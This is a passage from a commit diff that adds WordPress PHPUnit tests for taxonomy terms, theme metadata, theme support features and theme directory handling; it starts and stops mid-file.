+       function test_wp_insert_delete_category() {
+               $term = rand_str();
+               $this->assertNull( category_exists( $term ) );
+
+               $initial_count = wp_count_terms( 'category' );
+
+               $t = wp_insert_category( array( 'cat_name' => $term ) );
+               $this->assertTrue( is_numeric($t) );
+               $this->assertFalse( is_wp_error($t) );
+               $this->assertTrue( $t > 0 );
+               $this->assertEquals( $initial_count + 1, wp_count_terms( 'category' ) );
+
+               // make sure the term exists
+               $this->assertTrue( term_exists($term) > 0 );
+               $this->assertTrue( term_exists($t) > 0 );
+
+               // now delete it
+               $this->assertTrue( wp_delete_category($t) );
+               $this->assertNull( term_exists($term) );
+               $this->assertNull( term_exists($t) );
+               $this->assertEquals( $initial_count, wp_count_terms('category') );
+       }
+
+       function test_wp_unique_term_slug() {
+               // set up test data
+               $a = wp_insert_term( 'parent', $this->taxonomy );
+               $this->assertInternalType( 'array', $a );
+               $b = wp_insert_term( 'child',  $this->taxonomy, array( 'parent' => $a['term_id'] ) );
+               $this->assertInternalType( 'array', $b );
+               $c = wp_insert_term( 'neighbor', $this->taxonomy );
+               $this->assertInternalType( 'array', $c );
+               $d = wp_insert_term( 'pet',  $this->taxonomy, array( 'parent' => $c['term_id'] )  );
+               $this->assertInternalType( 'array', $c );
+
+               $a_term = get_term( $a['term_id'], $this->taxonomy );
+               $b_term = get_term( $b['term_id'], $this->taxonomy );
+               $c_term = get_term( $c['term_id'], $this->taxonomy );
+               $d_term = get_term( $d['term_id'], $this->taxonomy );
+
+               // a unique slug gets unchanged
+               $this->assertEquals( 'unique-term', wp_unique_term_slug( 'unique-term', $c_term ) );
+
+               // a non-hierarchicial dupe gets suffixed with "-#"
+               $this->assertEquals( 'parent-2', wp_unique_term_slug( 'parent', $c_term ) );
+
+               // a hierarchical dupe initially gets suffixed with its parent term
+               $this->assertEquals( 'child-neighbor', wp_unique_term_slug( 'child', $d_term ) );
+
+               // a hierarchical dupe whose parent already contains the {term}-{parent term}
+               // term gets suffixed with parent term name and then '-#'
+               $e = wp_insert_term( 'child-neighbor', $this->taxonomy, array( 'parent' => $c['term_id'] ) );
+               $this->assertEquals( 'child-neighbor-2', wp_unique_term_slug( 'child', $d_term ) );
+
+               // clean up
+               foreach ( array( $a, $b, $c, $d, $e ) as $t )
+                       $this->assertTrue( wp_delete_term( $t['term_id'], $this->taxonomy ) );
+       }
+
+       /**
+        * @ticket 5809
+        */
+       function test_update_shared_term() {
+               $random_tax = __FUNCTION__;
+
+               register_taxonomy( $random_tax, 'post' );
+
+               $post_id = $this->factory->post->create();
+
+               $old_name = 'Initial';
+
+               $t1 = wp_insert_term( $old_name, 'category' );
+               $t2 = wp_insert_term( $old_name, 'post_tag' );
+
+               $this->assertEquals( $t1['term_id'], $t2['term_id'] );
+
+               wp_set_post_categories( $post_id, array( $t1['term_id'] ) );
+               wp_set_post_tags( $post_id, array( (int) $t2['term_id'] ) );
+
+               $new_name = 'Updated';
+
+               // create the term in a third taxonomy, just to keep things interesting
+               $t3 = wp_insert_term( $old_name, $random_tax );
+               wp_set_post_terms( $post_id, array( (int) $t3['term_id'] ), $random_tax );
+               $this->assertPostHasTerms( $post_id, array( $t3['term_id'] ), $random_tax );
+
+               $t2_updated = wp_update_term( $t2['term_id'], 'post_tag', array(
+                       'name' => $new_name
+               ) );
+
+               $this->assertNotEquals( $t2_updated['term_id'], $t3['term_id'] );
+
+               // make sure the terms have split
+               $this->assertEquals( $old_name, get_term_field( 'name', $t1['term_id'], 'category' ) );
+               $this->assertEquals( $new_name, get_term_field( 'name', $t2_updated['term_id'], 'post_tag' ) );
+
+               // and that they are still assigned to the correct post
+               $this->assertPostHasTerms( $post_id, array( $t1['term_id'] ), 'category' );
+               $this->assertPostHasTerms( $post_id, array( $t2_updated['term_id'] ), 'post_tag' );
+               $this->assertPostHasTerms( $post_id, array( $t3['term_id'] ), $random_tax );
+
+               // clean up
+               unset( $GLOBALS['wp_taxonomies'][ $random_tax ] );
+       }
+
+       private function assertPostHasTerms( $post_id, $expected_term_ids, $taxonomy ) {
+               $assigned_term_ids = wp_get_object_terms( $post_id, $taxonomy, array(
+                       'fields' => 'ids'
+               ) );
+
+               $this->assertEquals( $expected_term_ids, $assigned_term_ids );
+       }
+
+       /**
+        * @ticket 24189
+        */
+       function test_object_term_cache_when_term_changes() {
+               $post_id = $this->factory->post->create();
+               $tag_id = $this->factory->tag->create( array( 'description' => 'My Amazing Tag' ) );
+
+               $tt_1 = wp_set_object_terms( $post_id, $tag_id, 'post_tag' );
+
+               $terms = get_the_terms( $post_id, 'post_tag' );
+               $this->assertEquals( $tag_id, $terms[0]->term_id );
+               $this->assertEquals( 'My Amazing Tag', $terms[0]->description );
+
+               $_updated = wp_update_term( $tag_id, 'post_tag', array(
+                       'description' => 'This description is even more amazing!'
+               ) );
+
+               $_new_term = get_term( $tag_id, 'post_tag' );
+               $this->assertEquals( $tag_id, $_new_term->term_id );
+               $this->assertEquals( 'This description is even more amazing!', $_new_term->description );
+
+               $terms = get_the_terms( $post_id, 'post_tag' );
+               $this->assertEquals( $tag_id, $terms[0]->term_id );
+               $this->assertEquals( 'This description is even more amazing!', $terms[0]->description );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststeststhemeWPThemephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/theme/WPTheme.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/theme/WPTheme.php                              (rev 0)
+++ trunk/tests/tests/theme/WPTheme.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,113 @@
</span><ins>+<?php
+/**
+ * @group themes
+ */
+class Tests_Theme_WPTheme extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->theme_root = realpath( DIR_TESTDATA . '/themedir1' );
+
+               $this->orig_theme_dir = $GLOBALS['wp_theme_directories'];
+               $GLOBALS['wp_theme_directories'] = array( $this->theme_root );
+
+               add_filter('theme_root', array(&$this, '_theme_root'));
+               add_filter( 'stylesheet_root', array(&$this, '_theme_root') );
+               add_filter( 'template_root', array(&$this, '_theme_root') );
+               // clear caches
+               wp_clean_themes_cache();
+               unset( $GLOBALS['wp_themes'] );
+       }
+
+       function tearDown() {
+               $GLOBALS['wp_theme_directories'] = $this->orig_theme_dir;
+               remove_filter('theme_root', array(&$this, '_theme_root'));
+               remove_filter( 'stylesheet_root', array(&$this, '_theme_root') );
+               remove_filter( 'template_root', array(&$this, '_theme_root') );
+               wp_clean_themes_cache();
+               unset( $GLOBALS['wp_themes'] );
+               parent::tearDown();
+       }
+
+       // replace the normal theme root dir with our premade test dir
+       function _theme_root($dir) {
+               return $this->theme_root;
+       }
+       function test_new_WP_Theme_top_level() {
+               $theme = new WP_Theme( 'theme1', $this->theme_root );
+
+               //Meta
+               $this->assertEquals( 'My Theme', $theme->get('Name') );
+               $this->assertEquals( 'http://example.org/',$theme->get('ThemeURI') );
+               $this->assertEquals( 'An example theme', $theme->get('Description') );
+               $this->assertEquals( 'Minnie Bannister', $theme->get('Author') );
+               $this->assertEquals( 'http://example.com/', $theme->get('AuthorURI') );
+               $this->assertEquals( '1.3', $theme->get('Version') );
+               $this->assertEquals( '', $theme->get('Template') );
+               $this->assertEquals( 'publish', $theme->get('Status') );
+               $this->assertEquals( array(), $theme->get('Tags') );
+
+               //Important
+               $this->assertEquals( 'theme1', $theme->get_stylesheet() );
+               $this->assertEquals( 'theme1', $theme->get_template() );
+       }
+
+       function test_new_WP_Theme_subdir() {
+               $theme = new WP_Theme( 'subdir/theme2', $this->theme_root );
+
+               //Meta
+               $this->assertEquals( 'My Subdir Theme', $theme->get('Name') );
+               $this->assertEquals( 'http://example.org/',$theme->get('ThemeURI') );
+               $this->assertEquals( 'An example theme in a sub directory', $theme->get('Description') );
+               $this->assertEquals( 'Mr. WordPress', $theme->get('Author') );
+               $this->assertEquals( 'http://wordpress.org/', $theme->get('AuthorURI') );
+               $this->assertEquals( '0.1', $theme->get('Version') );
+               $this->assertEquals( '', $theme->get('Template') );
+               $this->assertEquals( 'publish', $theme->get('Status') );
+               $this->assertEquals( array(), $theme->get('Tags') );
+
+               //Important
+               $this->assertEquals( 'subdir/theme2', $theme->get_stylesheet() );
+               $this->assertEquals( 'subdir/theme2', $theme->get_template() );
+       }
+
+       /**
+        * @ticket 20313
+        */
+       function test_new_WP_Theme_subdir_bad_root() {
+               // This is what get_theme_data() does when you pass it a style.css file for a theme in a subdir.
+               $theme = new WP_Theme( 'theme2', $this->theme_root . '/subdir' );
+
+               //Meta
+               $this->assertEquals( 'My Subdir Theme', $theme->get('Name') );
+               $this->assertEquals( 'http://example.org/',$theme->get('ThemeURI') );
+               $this->assertEquals( 'An example theme in a sub directory', $theme->get('Description') );
+               $this->assertEquals( 'Mr. WordPress', $theme->get('Author') );
+               $this->assertEquals( 'http://wordpress.org/', $theme->get('AuthorURI') );
+               $this->assertEquals( '0.1', $theme->get('Version') );
+               $this->assertEquals( '', $theme->get('Template') );
+               $this->assertEquals( 'publish', $theme->get('Status') );
+               $this->assertEquals( array(), $theme->get('Tags') );
+
+               //Important
+               $this->assertEquals( 'subdir/theme2', $theme->get_stylesheet() );
+               $this->assertEquals( 'subdir/theme2', $theme->get_template() );
+       }
+
+       /**
+        * @ticket 21749
+        */
+       function test_wp_theme_uris_with_spaces() {
+               $theme = new WP_Theme( 'theme with spaces', $this->theme_root . '/subdir' );
+               // Make sure subdir/ is considered part of the stylesheet, as we must avoid encoding /'s.
+               $this->assertEquals( 'subdir/theme with spaces', $theme->get_stylesheet() );
+
+               // Check that in a URI path, we have raw url encoding (spaces become %20)
+               // Don't try to verify the complete URI path. get_theme_root_uri() breaks down quickly.
+               $this->assertEquals( 'theme%20with%20spaces', basename( $theme->get_stylesheet_directory_uri() ) );
+               $this->assertEquals( 'theme%20with%20spaces', basename( $theme->get_template_directory_uri()   ) );
+
+               // Check that wp_customize_url() uses url encoding, as it is a query arg (spaces become +)
+               $this->assertEquals( admin_url( 'customize.php?theme=theme+with+spaces' ), wp_customize_url( 'theme with spaces' ) );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststeststhemesupportphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/theme/support.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/theme/support.php                              (rev 0)
+++ trunk/tests/tests/theme/support.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,101 @@
</span><ins>+<?php
+
+/**
+ * @group themes
+ */
+class Tests_Theme_Support extends WP_UnitTestCase {
+
+       function test_the_basics() {
+               add_theme_support( 'automatic-feed-links' );
+               $this->assertTrue( current_theme_supports( 'automatic-feed-links' ) );
+               remove_theme_support( 'automatic-feed-links' );
+               $this->assertFalse( current_theme_supports( 'automatic-feed-links' ) );
+               add_theme_support( 'automatic-feed-links' );
+               $this->assertTrue( current_theme_supports( 'automatic-feed-links' ) );
+       }
+
+       function test_admin_bar() {
+               add_theme_support( 'admin-bar' );
+               $this->assertTrue( current_theme_supports( 'admin-bar' ) );
+               remove_theme_support( 'admin-bar' );
+               $this->assertFalse( current_theme_supports( 'admin-bar' ) );
+               add_theme_support( 'admin-bar' );
+               $this->assertTrue( current_theme_supports( 'admin-bar' ) );
+
+               add_theme_support( 'admin-bar', array( 'callback' => '__return_false' ) );
+               $this->assertTrue( current_theme_supports( 'admin-bar' ) );
+
+               $this->assertEquals(
+                       array( 0 => array( 'callback' => '__return_false' ) ),
+                       get_theme_support( 'admin-bar' )
+               );
+               remove_theme_support( 'admin-bar' );
+               $this->assertFalse( current_theme_supports( 'admin-bar' ) );
+               $this->assertFalse( get_theme_support( 'admin-bar' ) );
+       }
+
+       function test_post_thumbnails() {
+               add_theme_support( 'post-thumbnails' );
+               $this->assertTrue( current_theme_supports( 'post-thumbnails' ) );
+               remove_theme_support( 'post-thumbnails' );
+               $this->assertFalse( current_theme_supports( 'post-thumbnails' ) );
+               add_theme_support( 'post-thumbnails' );
+               $this->assertTrue( current_theme_supports( 'post-thumbnails' ) );
+
+               // simple array of post types.
+               add_theme_support( 'post-thumbnails', array( 'post', 'page' ) );
+               $this->assertTrue( current_theme_supports( 'post-thumbnails' ) );
+               $this->assertTrue( current_theme_supports( 'post-thumbnails', 'post' ) );
+               $this->assertFalse( current_theme_supports( 'post-thumbnails', 'book' ) );
+               remove_theme_support( 'post-thumbnails' );
+               $this->assertFalse( current_theme_supports( 'post-thumbnails' ) );
+
+               #WP18548
+               if ( ! function_exists( '_wp_render_title_tag' ) )
+                       return;
+
+               // array of arguments, with the key of 'types' holding the post types.
+               add_theme_support( 'post-thumbnails', array( 'types' => array( 'post', 'page' ) ) );
+               $this->assertTrue( current_theme_supports( 'post-thumbnails' ) );
+               $this->assertTrue( current_theme_supports( 'post-thumbnails', 'post' ) );
+               $this->assertFalse( current_theme_supports( 'post-thumbnails', 'book' ) );
+               remove_theme_support( 'post-thumbnails' );
+               $this->assertFalse( current_theme_supports( 'post-thumbnails' ) );
+
+               // array of arguments, with the key of 'types' holding the post types.
+               add_theme_support( 'post-thumbnails', array( 'types' => true ) );
+               $this->assertTrue( current_theme_supports( 'post-thumbnails' ) );
+               $this->assertTrue( current_theme_supports( 'post-thumbnails', rand_str() ) ); // any type
+               remove_theme_support( 'post-thumbnails' );
+               $this->assertFalse( current_theme_supports( 'post-thumbnails' ) );
+
+               // array of arguments, with some other argument, and no 'types' argument.
+               add_theme_support( 'post-thumbnails', array( rand_str() => rand_str() ) );
+               $this->assertTrue( current_theme_supports( 'post-thumbnails' ) );
+               $this->assertTrue( current_theme_supports( 'post-thumbnails', rand_str() ) ); // any type
+               remove_theme_support( 'post-thumbnails' );
+               $this->assertFalse( current_theme_supports( 'post-thumbnails' ) );
+
+       }
+
+       function supports_foobar( $yesno, $args, $feature ) {
+               if ( $args[0] == $feature[0] )
+                       return true;
+               return false;
+       }
+
+       function test_plugin_hook() {
+               $this->assertFalse( current_theme_supports( 'foobar' ) );
+               add_theme_support( 'foobar' );
+               $this->assertTrue( current_theme_supports( 'foobar' ) );
+
+               add_filter( 'current_theme_supports-foobar', array( $this, 'supports_foobar'), 10, 3 );
+
+               add_theme_support( 'foobar', 'bar' );
+               $this->assertFalse( current_theme_supports( 'foobar', 'foo' ) );
+               $this->assertTrue( current_theme_supports( 'foobar', 'bar' ) );
+
+               remove_theme_support( 'foobar' );
+               $this->assertFalse( current_theme_supports( 'foobar', 'bar' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststeststhemethemeDirphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/theme/themeDir.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/theme/themeDir.php                             (rev 0)
+++ trunk/tests/tests/theme/themeDir.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,203 @@
</span><ins>+<?php
+
+/**
+ * Test functions that fetch stuff from the theme directory
+ *
+ * @group themes
+ */
+class Tests_Theme_ThemeDir extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->theme_root = DIR_TESTDATA . '/themedir1';
+
+               $this->orig_theme_dir = $GLOBALS['wp_theme_directories'];
+
+               // /themes is necessary as theme.php functions assume /themes is the root if there is only one root.
+               $GLOBALS['wp_theme_directories'] = array( WP_CONTENT_DIR . '/themes', $this->theme_root );
+
+               add_filter('theme_root', array(&$this, '_theme_root'));
+               add_filter( 'stylesheet_root', array(&$this, '_theme_root') );
+               add_filter( 'template_root', array(&$this, '_theme_root') );
+               // clear caches
+               wp_clean_themes_cache();
+               unset( $GLOBALS['wp_themes'] );
+       }
+
+       function tearDown() {
+               $GLOBALS['wp_theme_directories'] = $this->orig_theme_dir;
+               remove_filter('theme_root', array(&$this, '_theme_root'));
+               remove_filter( 'stylesheet_root', array(&$this, '_theme_root') );
+               remove_filter( 'template_root', array(&$this, '_theme_root') );
+               wp_clean_themes_cache();
+               unset( $GLOBALS['wp_themes'] );
+               parent::tearDown();
+       }
+
+       // replace the normal theme root dir with our premade test dir
+       function _theme_root($dir) {
+               return $this->theme_root;
+       }
+
+       function test_theme_default() {
+               $themes = get_themes();
+               $theme = get_theme('WordPress Default');
+               $this->assertEquals( $themes['WordPress Default'], $theme );
+
+               $this->assertFalse( empty($theme) );
+
+               #echo gen_tests_array('theme', $theme);
+
+               $this->assertEquals( 'WordPress Default', $theme['Name'] );
+               $this->assertEquals( 'WordPress Default', $theme['Title'] );
+               $this->assertEquals( 'The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.', $theme['Description'] );
+               $this->assertEquals( '<a href="http://binarybonsai.com/" title="Visit author homepage">Michael Heilemann</a>', $theme['Author'] );
+               $this->assertEquals( '1.6', $theme['Version'] );
+               $this->assertEquals( 'default', $theme['Template'] );
+               $this->assertEquals( 'default', $theme['Stylesheet'] );
+
+               $this->assertContains( $this->theme_root . '/default/functions.php', $theme['Template Files'] );
+               $this->assertContains( $this->theme_root . '/default/index.php', $theme['Template Files'] );
+               $this->assertContains( $this->theme_root . '/default/style.css', $theme['Stylesheet Files'] );
+
+               $this->assertEquals( $this->theme_root.'/default', $theme['Template Dir'] );
+               $this->assertEquals( $this->theme_root.'/default', $theme['Stylesheet Dir'] );
+               $this->assertEquals( 'publish', $theme['Status'] );
+               $this->assertEquals( '', $theme['Parent Theme'] );
+       }
+
+       function test_theme_sandbox() {
+               $theme = get_theme('Sandbox');
+
+               $this->assertFalse( empty($theme) );
+
+               #echo gen_tests_array('theme', $theme);
+
+               $this->assertEquals( 'Sandbox', $theme['Name'] );
+               $this->assertEquals( 'Sandbox', $theme['Title'] );
+               $this->assertEquals( 'A theme with powerful, semantic CSS selectors and the ability to add new skins.', $theme['Description'] );
+               $this->assertEquals( '<a href="http://andy.wordpress.com/">Andy Skelton</a> &amp; <a href="http://www.plaintxt.org/">Scott Allan Wallick</a>', $theme['Author'] );
+               $this->assertEquals( '0.6.1-wpcom', $theme['Version'] );
+               $this->assertEquals( 'sandbox', $theme['Template'] );
+               $this->assertEquals( 'sandbox', $theme['Stylesheet'] );
+               $this->assertEquals( $this->theme_root.'/sandbox/functions.php', reset($theme['Template Files']) );
+               $this->assertEquals( $this->theme_root.'/sandbox/index.php', next($theme['Template Files']) );
+
+               $this->assertEquals( $this->theme_root.'/sandbox/style.css', reset($theme['Stylesheet Files']) );
+
+               $this->assertEquals( $this->theme_root.'/sandbox', $theme['Template Dir'] );
+               $this->assertEquals( $this->theme_root.'/sandbox', $theme['Stylesheet Dir'] );
+               $this->assertEquals( 'publish', $theme['Status'] );
+               $this->assertEquals( '', $theme['Parent Theme'] );
+
+       }
+
+       // a css only theme
+       function test_theme_stylesheet_only() {
+               $themes = get_themes();
+
+               $theme = $themes['Stylesheet Only'];
+               $this->assertFalse( empty($theme) );
+
+               #echo gen_tests_array('theme', $theme);
+
+               $this->assertEquals( 'Stylesheet Only', $theme['Name'] );
+               $this->assertEquals( 'Stylesheet Only', $theme['Title'] );
+               $this->assertEquals( 'A three-column widget-ready theme in dark blue.', $theme['Description'] );
+               $this->assertEquals( '<a href="http://www.example.com/" title="Visit author homepage">Henry Crun</a>', $theme['Author'] );
+               $this->assertEquals( '1.0', $theme['Version'] );
+               $this->assertEquals( 'sandbox', $theme['Template'] );
+               $this->assertEquals( 'stylesheetonly', $theme['Stylesheet'] );
+               $this->assertContains( $this->theme_root.'/sandbox/functions.php', $theme['Template Files'] );
+               $this->assertContains( $this->theme_root.'/sandbox/index.php', $theme['Template Files'] );
+
+               $this->assertContains( $this->theme_root.'/stylesheetonly/style.css', $theme['Stylesheet Files']);
+
+               $this->assertEquals( $this->theme_root.'/sandbox', $theme['Template Dir'] );
+               $this->assertEquals( $this->theme_root.'/stylesheetonly', $theme['Stylesheet Dir'] );
+               $this->assertEquals( 'publish', $theme['Status'] );
+               $this->assertEquals( 'Sandbox', $theme['Parent Theme'] );
+
+       }
+
+       function test_theme_list() {
+               $themes = get_themes();
+
+               // Ignore themes in the default /themes directory.
+               foreach ( $themes as $theme_name => $theme ) {
+                       if ( $theme->get_theme_root() != $this->theme_root )
+                               unset( $themes[ $theme_name ] );
+               }
+
+               $theme_names = array_keys($themes);
+               $expected = array(
+                       'WordPress Default',
+                       'Sandbox',
+                       'Stylesheet Only',
+                       'My Theme',
+                       'My Theme/theme1', // duplicate theme should be given a unique name
+                       'My Subdir Theme',// theme in a subdirectory should work
+                       'Page Template Theme', // theme with page templates for other test code
+                       'Theme with Spaces in the Directory',
+               );
+
+               sort($theme_names);
+               sort($expected);
+
+               $this->assertEquals($expected, $theme_names);
+       }
+
+       function test_broken_themes() {
+               $themes = get_themes();
+               $expected = array('broken-theme' => array('Name' => 'broken-theme', 'Title' => 'broken-theme', 'Description' => __('Stylesheet is missing.')));
+
+               $this->assertEquals($expected, get_broken_themes() );
+       }
+
+       function test_wp_get_theme_with_non_default_theme_root() {
+               $this->assertFalse( wp_get_theme( 'sandbox', $this->theme_root )->errors() );
+               $this->assertFalse( wp_get_theme( 'sandbox' )->errors() );
+       }
+
+       function test_page_templates() {
+               $themes = get_themes();
+
+               $theme = $themes['Page Template Theme'];
+               $this->assertFalse( empty($theme) );
+
+               $templates = $theme['Template Files'];
+               $this->assertTrue( in_array( $this->theme_root . '/page-templates/template-top-level.php', $templates));
+       }
+
+       function test_get_theme_data_top_level() {
+               $theme_data = get_theme_data( DIR_TESTDATA . '/themedir1/theme1/style.css' );
+
+               $this->assertEquals( 'My Theme', $theme_data['Name'] );
+               $this->assertEquals( 'http://example.org/', $theme_data['URI'] );
+               $this->assertEquals( 'An example theme', $theme_data['Description'] );
+               $this->assertEquals( '<a href="http://example.com/" title="Visit author homepage">Minnie Bannister</a>', $theme_data['Author'] );
+               $this->assertEquals( 'http://example.com/', $theme_data['AuthorURI'] );
+               $this->assertEquals( '1.3', $theme_data['Version'] );
+               $this->assertEquals( '', $theme_data['Template'] );
+               $this->assertEquals( 'publish', $theme_data['Status'] );
+               $this->assertEquals( array(), $theme_data['Tags'] );
+               $this->assertEquals( 'My Theme', $theme_data['Title'] );
+               $this->assertEquals( 'Minnie Bannister', $theme_data['AuthorName'] );
+       }
+
+       function test_get_theme_data_subdir() {
+               $theme_data = get_theme_data( $this->theme_root . '/subdir/theme2/style.css' );
+
+               $this->assertEquals( 'My Subdir Theme', $theme_data['Name'] );
+               $this->assertEquals( 'http://example.org/', $theme_data['URI'] );
+               $this->assertEquals( 'An example theme in a sub directory', $theme_data['Description'] );
+               $this->assertEquals( '<a href="http://wordpress.org/" title="Visit author homepage">Mr. WordPress</a>', $theme_data['Author'] );
+               $this->assertEquals( 'http://wordpress.org/', $theme_data['AuthorURI'] );
+               $this->assertEquals( '0.1', $theme_data['Version'] );
+               $this->assertEquals( '', $theme_data['Template'] );
+               $this->assertEquals( 'publish', $theme_data['Status'] );
+               $this->assertEquals( array(), $theme_data['Tags'] );
+               $this->assertEquals( 'My Subdir Theme', $theme_data['Title'] );
+               $this->assertEquals( 'Mr. WordPress', $theme_data['AuthorName'] );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststeststhemethemeDirLargephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/theme/themeDirLarge.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/theme/themeDirLarge.php                                (rev 0)
+++ trunk/tests/tests/theme/themeDirLarge.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,70 @@
</span><ins>+<?php
+
+/**
+ * @group themes
+ */
+class Tests_Theme_ThemeDirLarge extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->theme_root = DIR_TESTDATA . '/wpcom-themes';
+
+               $this->orig_theme_dir = $GLOBALS['wp_theme_directories'];
+               $GLOBALS['wp_theme_directories'] = array( WP_CONTENT_DIR . '/themes', $this->theme_root );
+
+               add_filter('theme_root', array(&$this, '_theme_root'));
+
+               // clear caches
+               wp_clean_themes_cache();
+               unset( $GLOBALS['wp_themes'] );
+       }
+
+       function tearDown() {
+               $GLOBALS['wp_theme_directories'] = $this->orig_theme_dir;
+               remove_filter('theme_root', array(&$this, '_theme_root'));
+               wp_clean_themes_cache();
+               unset( $GLOBALS['wp_themes'] );
+               parent::tearDown();
+       }
+
+       // replace the normal theme root dir with our premade test dir
+       function _theme_root($dir) {
+               return $this->theme_root;
+       }
+
+       function _filter_out_themes_not_in_root( &$themes ) {
+               foreach ( $themes as $key => $theme ) {
+                       if ( $theme->get_theme_root() != $this->theme_root )
+                               unset( $themes[ $key ] );
+               }
+       }
+
+       function test_theme_list() {
+               $themes = get_themes();
+               $this->_filter_out_themes_not_in_root( $themes );
+               $theme_names = array_keys( $themes );
+               $this->assertEquals(87, count( $theme_names ) );
+               $length = strlen( serialize( $themes ) );
+
+               //2.9 pre [12226]
+               $this->assertLessThanOrEqual(387283, $length );
+               //2.8.5
+               $this->assertLessThanOrEqual(368319, $length );
+               //2.9 post [12226]
+               $this->assertLessThanOrEqual(261998, $length );
+               //3.4 post [20029], #20103
+               $this->assertLessThanOrEqual(100000, $length );
+       }
+
+       /**
+        * Reducing in-memory size further.
+        *
+        * @ticket 11214
+        */
+       function test_smaller_storage() {
+               $themes = get_themes();
+               $this->_filter_out_themes_not_in_root( $themes );
+               $theme_names = array_keys($themes);
+               $this->assertEquals(87, count($theme_names));
+               $this->assertLessThanOrEqual(136342, strlen(serialize($themes)));
+       }
+}
</ins></span></pre></div>
<a id="trunkteststeststhemephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/theme.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/theme.php                              (rev 0)
+++ trunk/tests/tests/theme.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,264 @@
</span><ins>+<?php
+
+/**
+ * test wp-includes/theme.php
+ *
+ * @group themes
+ */
+class Tests_Theme extends WP_UnitTestCase {
+
+       var $theme_slug = 'twentyeleven';
+       var $theme_name = 'Twenty Eleven';
+
+       function setUp() {
+               parent::setUp();
+               add_filter( 'extra_theme_headers', array( $this, '_theme_data_extra_headers' ) );
+               wp_clean_themes_cache();
+               unset( $GLOBALS['wp_themes'] );
+       }
+
+       function tearDown() {
+               remove_filter( 'extra_theme_headers', array( $this, '_theme_data_extra_headers' ) );
+               wp_clean_themes_cache();
+               unset( $GLOBALS['wp_themes'] );
+               parent::tearDown();
+       }
+
+       function test_wp_get_themes_default() {
+               $themes = wp_get_themes();
+               $this->assertInstanceOf( 'WP_Theme', $themes[ $this->theme_slug ] );
+               $this->assertEquals( $this->theme_name, $themes[ $this->theme_slug ]->get('Name') );
+
+               $single_theme = wp_get_theme( $this->theme_slug );
+               $this->assertEquals( $single_theme->get('Name'), $themes[ $this->theme_slug ]->get('Name') );
+               $this->assertEquals( $themes[ $this->theme_slug ], $single_theme );
+       }
+
+       function test_get_themes_default() {
+               $themes = get_themes();
+               $this->assertInstanceOf( 'WP_Theme', $themes[ $this->theme_name ] );
+               $this->assertEquals( $themes[ $this->theme_name ], get_theme( $this->theme_name ) );
+
+               $this->assertEquals( $this->theme_name, $themes[ $this->theme_name ]['Name'] );
+               $this->assertEquals( $this->theme_name, $themes[ $this->theme_name ]->Name );
+               $this->assertEquals( $this->theme_name, $themes[ $this->theme_name ]->name );
+       }
+
+       function test_get_theme() {
+               $themes = get_themes();
+               foreach (array_keys($themes) as $name) {
+                       $theme = get_theme($name);
+                       // WP_Theme implements ArrayAccess. Even ArrayObject returns false for is_array().
+                       $this->assertFalse( is_array( $theme ) );
+                       $this->assertInstanceOf( 'WP_Theme', $theme );
+                       $this->assertEquals($theme, $themes[$name]);
+               }
+       }
+
+       function test_wp_get_theme() {
+               $themes = wp_get_themes();
+               foreach ( $themes as $theme ) {
+                       $this->assertInstanceOf( 'WP_Theme', $theme );
+                       $this->assertFalse( $theme->errors() );
+                       $_theme = wp_get_theme( $theme->get_stylesheet() );
+                       // This primes internal WP_Theme caches for the next assertion (headers_sanitized, textdomain_loaded)
+                       $this->assertEquals( $theme->get('Name'), $_theme->get('Name') );
+                       $this->assertEquals( $theme, $_theme );
+               }
+       }
+
+       function test_get_themes_contents() {
+               $themes = get_themes();
+
+               // Generic tests that should hold true for any theme
+               foreach ($themes as $k=>$theme) {
+                       $this->assertEquals($theme['Name'], $k);
+                       $this->assertTrue(!empty($theme['Title']));
+
+                       // important attributes should all be set
+                       $default_headers = array(
+                               'Title' => 'Theme Title',
+                               'Version' => 'Version',
+                               'Parent Theme' => 'Parent Theme',
+                               'Template Dir' => 'Template Dir',
+                               'Stylesheet Dir' => 'Stylesheet Dir',
+                               'Template' => 'Template',
+                               'Stylesheet' => 'Stylesheet',
+                               'Screenshot' => 'Screenshot',
+                               'Description' => 'Description',
+                               'Author' => 'Author',
+                               'Tags' => 'Tags',
+                               // Introduced in WordPress 2.9
+                               'Theme Root' => 'Theme Root',
+                               'Theme Root URI' => 'Theme Root URI'
+                       );
+                       foreach ($default_headers as $name => $value) {
+                               $this->assertTrue(isset($theme[$name]));
+                       }
+
+                       // Make the tests work both for WordPress 2.8.5 and WordPress 2.9-rare
+                       $dir = isset($theme['Theme Root']) ? '' : WP_CONTENT_DIR;
+
+                       // important attributes should all not be empty as well
+                       $this->assertTrue(!empty($theme['Description']));
+                       $this->assertTrue(!empty($theme['Author']));
+                       $this->assertTrue(version_compare($theme['Version'], 0) > 0);
+                       $this->assertTrue(!empty($theme['Template']));
+                       $this->assertTrue(!empty($theme['Stylesheet']));
+
+                       // template files should all exist
+                       $this->assertTrue(is_array($theme['Template Files']));
